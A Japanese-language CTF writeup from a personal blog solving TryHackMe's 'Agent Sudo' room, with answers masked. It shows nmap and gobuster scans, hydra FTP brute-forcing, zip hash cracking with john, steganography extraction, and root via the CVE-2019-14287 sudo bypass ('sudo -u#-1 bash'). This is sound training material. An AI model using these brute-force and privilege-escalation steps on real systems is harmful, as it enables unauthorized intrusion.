はまやんはまやんはまやん

hamayanhamayan's blog

Agent Sudo 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210519171119p:plain

一部を■で隠しています。

Task2: Enumerate

とりあえずnmapとgobusterしよう。

$ export IP=10.10.149.81
$ nmap -sC -sV $IP
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
$ gobuster 
dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/index.php (Status: 200)

最初の問題は解けるが、他はない。特にめぼしい情報がない。
とりあえず/index.phpにアクセスしてみると、なんとなくわかる。
ヒントと文字数を参考に答えを埋めていこう。

User-Agentに何を入れればいいか分からないな。Burpで辞書攻撃してみよう。
common.txtを使う。

f:id:hamayanhamayan:20210519175328p:plain

f:id:hamayanhamayan:20210519175208p:plain

Cが刺さりますね。Locationが追加されるのでアクセスしてみると、agent名が分かる。

Task3: Hash cracking and brute-force

FTPパスワードを特定しないといけないので、hydraで辞書攻撃してみよう。

$ hydra -l chris -P /usr/share/dirb/wordlists/rockyou.txt $IP ftp
[21][ftp] host: 10.10.149.81   login: chris   password: ■■■■■■■
> ftp $IP
ftp> ls
To_agentJ.txt
cute-alien.jpg
cutie.png
ftp> get To_agentJ.txt
ftp> get cute-alien.jpg
ftp> get cutie.png

ログインできたので、全部持ってきてみる。
Agent R stored the real picture inside your directory.とファイルに書いてあるので、画像をステガノグラフィーする。
cutie.pngをAoZoraSiroNekoで解析すると、zipが埋め込まれているみたい。

f:id:hamayanhamayan:20210519182024p:plain

binwalkで探して持ってくると、パスワード付きzipなのでjohn the ripperで解析して、解凍しよう。

$ binwalk cutie.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------     
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced   
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22
$ dd ibs=1 obs=1 skip=34562 if=cutie.png of=hidden.zip
$ zip2john hidden.zip > hash.txt
$ john hash.txt
■■■■■■            (hidden.zip/To_agentR.txt)

ok. We need to send the picture to '■■■■■' as soon as possible!
お?と思ったが、これはsteg passwordではないらしい。
いや、これだろと思って止まってしまった。

base64デコードすれば答えが得られます…
stegのパスワードということで、とりあえず自分の知っているsteghideを試すとデータが取れる。

$ steghide extract -sf cute-alien.jpg -p ■■■■■
wrote extracted data to "message.txt".

よーし、SSHで接続できそうな所まで来た

Task4: Capture the user flag

でここからSSH接続ができずに2年が経過する。

パスワードは最後の!も込みで必要。
!なくてもCorrect Answerだったんですが…
まあ、気を取り直してログイン。

$ ssh james@$IP
james@agent-sudo:~$ ls
Alien_autospy.jpg  user_flag.txt
james@agent-sudo:~$ cat user_flag.txt
■■■■■■■■
$ scp james@$IP:Alien_autospy.jpg out.jpg

画像があるので、持ってくる。
全く見覚えが無いので、画像検索してみると、FOX NEWSの記事が見つかる。
Filmmaker reveals how he faked infamous 'Roswell alien autopsy' footage in a London apartment | Fox News

ok.

Task5: Privilege escalation

privilege-escalation-awesome-scripts-suite/linPEAS at master · carlospolop/privilege-escalation-awesome-scripts-suite · GitHubを使ってみるが、うまく出てこない。
いつものようにやってみる。

$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

なんかあまり見ない形になっている。(ALL, !root) /bin/bashで検索するとCVE-2019-14287が出てくる。
sudo 1.8.27 - Security Bypass - Linux local Exploit

あとは使うと一直線

james@agent-sudo:~$ id
uid=1000(james) gid=1000(james) groups=1000(james),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
james@agent-sudo:~$ sudo -u#-1 bash
root@agent-sudo:/home# id
uid=0(root) gid=1000(james) groups=1000(james)
root@agent-sudo:~# cd /root
root@agent-sudo:/root# ls
root.txt
root@agent-sudo:/root# cat root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.

Your flag is
■■■■■■■■■■■■■■■

By,
■■■■■■■ a.k.a Agent R